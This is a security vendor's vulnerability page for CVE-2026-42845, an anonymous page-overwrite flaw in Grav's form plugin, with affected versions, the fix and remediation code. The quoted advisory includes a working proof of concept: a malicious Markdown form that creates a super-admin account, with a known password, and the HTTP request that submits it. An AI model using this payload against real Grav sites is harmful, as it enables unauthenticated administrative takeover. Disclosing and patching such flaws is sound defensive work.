Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐘 Packagist
Not in CISA KEV

CVE-2026-42845 getgrav/grav-plugin-form

Fix: getgrav/grav-plugin-form@48bacc4

CVE-2026-42845 is a CWE-73 vulnerability in getgrav/grav-plugin-form. A fix is available for getgrav/grav-plugin-form — see the affected versions and patch details below.

Grav: Anonymous Page Content Overwrite via Form File Upload filename Override

Also known asGHSA-w4rc-p66m-x6qq
Published
May 11, 2026
Updated
Aug 12, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Sep 21, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-42845.

EPSS Exploitation Probability

via FIRST.org ↗
0.6%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs48th percentile — riskier than 48% of all scored CVEsHighest risk

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

Real-World Exposure

1 pkg affected
🐘getgrav/grav-plugin-form

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.

Description

Summary

(Tested on Form 9.0.3 released on April, 28th)

The Form plugin's file upload handler at user/plugins/form/classes/Form.php:583 accepts a POST-supplied filename parameter ($filename = $post['filename'] ?? $upload['file']['name']) that overrides the original uploaded filename. The override passes through Utils::checkFilename(), which blocks only a narrow extension list (.php*, .htm*, .js, .exe). Markdown (.md) is not blocked.

A page's directory under user/pages/ contains its .md content file (e.g. default.md, form.md). When a form's file upload field has accept: ['*'] (or any policy that admits text files), an unauthenticated visitor can:

  1. Upload arbitrary content with filename=form.md (or other page-content filenames),
  2. Submit the form to trigger Form::copyFiles(), which overwrites the page's own .md file.

Details

Vulnerable code path

user/plugins/form/classes/Form.php:580-606 (in uploadFiles()):

$grav->fireEvent('onFormUploadSettings', new Event(['settings' => &$settings, 'post' => $post]));

$upload = json_decode(json_encode($this->normalizeFiles($_FILES['data'], $settings->name)), true);
$filename = $post['filename'] ?? $upload['file']['name'];           // ← POST-controlled
// ...
if (!Utils::checkFilename($filename)) {                              // ← extension blocklist only
    return ['status' => 'error', 'message' => 'Bad filename'];
}

Utils::checkFilename() (system/src/Grav/Common/Utils.php:980) blocks .., slashes, null bytes, leading/trailing dots, and the uploads_dangerous_extensions list. The default list contains: php, php2-5, phar, phtml, html, htm, shtml, shtm, js, exe. md is not on the list.

The MIME check (lines 627-654) uses Utils::getMimeByFilename($filename) against the blueprint's accept list. With accept: ['*'], all filenames pass.

After upload, the file is held in flash storage. When the form is submitted, Form::copyFiles() (user/plugins/form/classes/Form.php:1041-1074) calls $upload->moveTo($destination):

$destination = $upload->getDestination();   // ← determined at upload time:
                                            //   $destination = $page_dir . '/' . $filename
$folder = $filesystem->dirname($destination);
if (!is_dir($folder) && !@mkdir($folder, 0777, true) && !is_dir($folder)) { ... }
$upload->moveTo($destination);

moveTo() does not check whether $destination is an existing protected file — if form.md (the page's own content) already exists at the destination, it is overwritten.

A Grav page's .md file is parsed as YAML frontmatter + Markdown content. Whatever content the attacker uploaded becomes the new page definition.

PoC

Setup :

Any existing page with a form like this — a "generic upload" form is the realistic case:

---
title: Upload your file
form:
    name: upform
    fields:
        - {name: img, type: file, multiple: false, accept: ['*'], destination: 'self@'}
        - {name: notes, type: text}
    buttons:
        - {type: submit, value: Upload}
    process:
        - upload: true
        - display: thanks
---
  1. Atacker uploads a malicious md file that replaces the form's md file. Lets say the form is under the path /upload.
---
title: Pwned
form:
    name: pwn
    fields:
        - {name: dummy, type: text}
    buttons:
        - {type: submit, value: Submit}
    process:
        - save:
            folder: '../accounts'
            filename: 'viaup.yaml'
            extension: yaml
            operation: create
            body: |
                state: enabled
                email: [email protected]
                fullname: Via Upload
                title: Admin
                access:
                  admin: { login: true, super: true }
                  site:  { login: true }
                hashed_password: $2y$10$zGRm19Dk5ivMFZS5taMtU.O8WDUZpTqSsSg8JFs4SwOxJ/N6wl/Uq
        - display: thanks
---

(Hash above is bcrypt for PwnPass123!.)

  1. Attacker accesses the new markdown file under the original path and loads the new markdown file GET /upload.
  2. Attacker sends a form POST request to /upload and change the form_name to whatever the payload form name is. Keep in mind the nonce has to be valid.
POST /upload HTTP/1.1

------geckoformboundary44d7ad8deb57480098493877a35ad715
Content-Disposition: form-data; name="data[_json][img]"

[]
------geckoformboundary44d7ad8deb57480098493877a35ad715
Content-Disposition: form-data; name="data[notes]"


------geckoformboundary44d7ad8deb57480098493877a35ad715
Content-Disposition: form-data; name="__form-name__"

pwn
------geckoformboundary44d7ad8deb57480098493877a35ad715
Content-Disposition: form-data; name="__unique_form_id__"

8r7q1iwdnnmcgkohlbtj
------geckoformboundary44d7ad8deb57480098493877a35ad715
Content-Disposition: form-data; name="form-nonce"

4e9417f0c7e89d1ab4e0dbe136ec78bd
------geckoformboundary44d7ad8deb57480098493877a35ad715--
  1. Login as a newly created super admin user.

Impact

Grav pages that allows user to uploads any file (besides the ones in the blocklist) with the default self@ configuration is able to upload a malicious markdown file to overwrite the existing markdown file. In this case, unauthenticated users were able to escalate their privileges to super-admin.

Remediation

Block sensitive page-content filenames at upload

In user/plugins/form/classes/Form.php, after Utils::checkFilename() succeeds, add a content-area-aware check:

// Block files that would overwrite Grav page content if uploaded into
// a page directory. Page templates are .md (Markdown) and .yaml/.yml
// (frontmatter overrides). Block both for safety.
$ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION));
$pageContentExtensions = ['md', 'yaml', 'yml', 'json', 'twig'];
if (in_array($ext, $pageContentExtensions, true)) {
    return [
        'status'  => 'error',
        'message' => 'File type not allowed for upload (page content files are blocked)',
    ];
}

Add md, yaml, yml, json, twig, ini to the global security.uploads_dangerous_extensions list — these all carry executable semantics in Grav's runtime even though they are not "PHP".

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐘Packagistgetgrav/grav-plugin-formall versions9.1.0composer require getgrav/grav-plugin-form:^9.1.0

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for getgrav/grav-plugin-form, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update getgrav/grav-plugin-form to 9.1.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-42845 is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-42845 can be triaged on real exposure rather than presence alone.

Tailored to CVE-2026-42845. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary (Tested on Form 9.0.3 released on April, 28th) The Form plugin's file upload handler at `user/plugins/form/classes/Form.php:583` accepts a POST-supplied `filename` parameter (`$filename = $post['filename'] ?? $upload['file']['name']`) that overrides the original uploaded filename. The override passes through `Utils::checkFilename()`, which blocks only a narrow extension list (`.php*`, `.htm*`, `.js`, `.exe`). Markdown (`.md`) is **not** blocked. A page's directory under `user/pages/` contains its `.md` content file (e.g. `default.md`, `form.md`). When a form's file upload field h
O3 Security · Impact-Aware SCA

Is CVE-2026-42845 in your dependencies?

O3 Security finds CVE-2026-42845 across Packagist dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.

CVE-2026-42845: getgrav/grav-plugin-form | O3 Security